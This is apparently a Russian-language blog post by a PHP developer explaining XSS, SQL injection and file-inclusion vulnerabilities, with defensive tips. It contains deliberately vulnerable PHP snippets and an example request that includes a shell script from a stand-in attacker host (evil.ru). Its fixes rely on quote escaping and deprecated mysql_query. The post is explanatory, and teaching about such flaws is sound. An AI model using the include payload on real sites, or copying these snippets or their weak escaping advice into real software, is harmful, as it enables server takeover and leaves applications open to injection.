Pull to refresh

Безопасность web-приложений

Reading time3 min
Views13K

Вступление.


Разрабатывая свой сайт на php, я стал задумываться о его безопасности. Веб-безопасности. Мне не хотелось бы, чтобы в одно прекрасное утро я увидел на сайте надпись «Hacked by %hackername%» на белом фоне или же чтобы все содержимое моего сайта, включая движок, на написание которого ушло немало времени, достались кому-то другому.

Разновидность web-уязвимостей.
Итак, я начал интересоваться уязвимостями и, конечно же, способами их устранения.
В основном все уязвимости классифицируются на несколько типов:
1) XSS атаки
    а)Пассивные XSS
    б)Активные XSS
2) SQL-инъекции
3) Инклуды
    а) Локальные
    б) Удаленные

Разведка боем.


Рассмотрим немного подробнее каждый из них.


XSS-атаки

XSS означает Cross Site Scripting (межсайтовый скриптинг). Так как аббревиатура CSS занята под Каскадные Таблицы Стилей, то исользуют аббревиатуру именно XSS, а не CSS. Эта уязвимость позволяет выполнять вредоносный JavaScript код «без спроса» пользователя путем вставки его в html код сайта.
XSS делятся на пассивные и активные.
Активные XSS — вредоносный код сохраняется в базе\файле и напрямую выводится на уязвимой сайте в браузере. Например, в заголовках сообщений, теле постов и т.д.
Пассивные XSS — вредоносный код передается GET\POST параметром и выводится на страницу, сохранение на сервер не происходит.
Например:

site.ru/page.php?var=

Если переменная var никак не фильтруется и напрямую выводится на страницу, то при заходе по данной ссылке пользователь увидит всплывающее собщение. Или же злоумышленник получит его cookies, составив определенный запрос.
Все XSS-уязвимости позволяют сформировать определенную ссылку, подбрсить администратору\пользователю сайта и заполучить себе его cookies. Такие уязвимости были даже на многих крупных сайтах — таких, как Вконтакте, например (статьи с уязвимостями вконтакте были и тут, на хабре).
Способы устранения: делать htmlspecialchars полей, где это необходимо, жестоко фильтровать все html теги.

SQL-инъекции

SQL-injection (инъекция, инжект) — рзновидность уязвимости, позволяющая подменить и тополнить оригинальный sql-вопрос своими данными, что модет привести к выводу любой информации, или, что хуже — полному доступу к серверу.
Пример уязвимого кода:
...
$id=$_GET['id'];
$query="SELECT * FROM articles WHERE id='".$id."';
$ret=mysql_query($query);
...


Красным и выделена уязвимая строчка. Если злоумышленник гетом передаст, например, знаечние $id = 13', то кавычка вставится в запрос, что приведет к ошибке и позволит вывести любые данные из базы данных. (Способы рассматривать не буду из определенных побуждений).
Также при некотоырх обстоятельствах у злоумышленника есть возможность аже выполнять php код, что может привести к очень трагичным последствиям.
Способы устранения уязвимости:
1) Самое-самое главное — фильтровать кавычки. Везде — в $_GET, $_POST и даже $_COOKIES Например, заменять "'" на "\'"
2) Не использоать в запросе такие конструкции: ...where id = $id..., но использовать ...where id = '$id' с отфильтрованными заранее кавычками.

Инклуды

Инклуды — тип уязвимостей, при котором существует возможность вывести содержимое определенного файлана сервере или же вставить содержимое файла с другого серверавнутрь сайта.
Локальные инклуды — инклуды, при которых имеется возможность лишь выводить содержимое любых файлов но в пределах данного сервера. Может использоаться для получения конфигурационных файлов и последующего доступа к административной панели или даже базе данных.

Удаленные инклуды — уязвимости, при которых злоумышленник может определенным запросом вывести содержимое файла со стороннего сайта внутри данного. С помощью этого злоумышленник может вставить свой вредоносный скрипт, например, шелл (скрипт для управления всеми файлами на сервере, как бы ftp с веб-оболочкой) и получить доступ ко всему серверу.
Пример уязвимого кода:
site.ru/index.php?page=main.html
Такой безобидный запрос выведет содержимое файла main.html на странице сайта.
но злоумышленник может выполнить такой запрос: site.ru/index.php?page=http://evil.ru/shellcode.php и получить доступ ко всему серверу! Это и будет удаленным инклудом.*
*для этого необходимы определенные настройки сервера.
При отсутствии нужных настроек данный инклуд превращается в локальный и позволяет выводить содержимое любых файлов сервера.
...
$page=$_GET['page'];
include ($page);
...


Итог.


Конечно, это не все уязвимости, которые существуют в web-приложениях, но я рассмотрел лишь самые главные, на мой взгляд.
Живые примеры сайтов с уязвимостями я приводить не буду во избежание неприятностей, но, думаю, все и так понятно.
Пока в тематический блог опубликовать не могу, но надеюсь на вашу посильную помощь.
Перенес в «Информационная безопасность», всем спасибо.
(с)Я.
Tags:
Hubs:
Total votes 47: ↑24 and ↓23+1
Comments21

Articles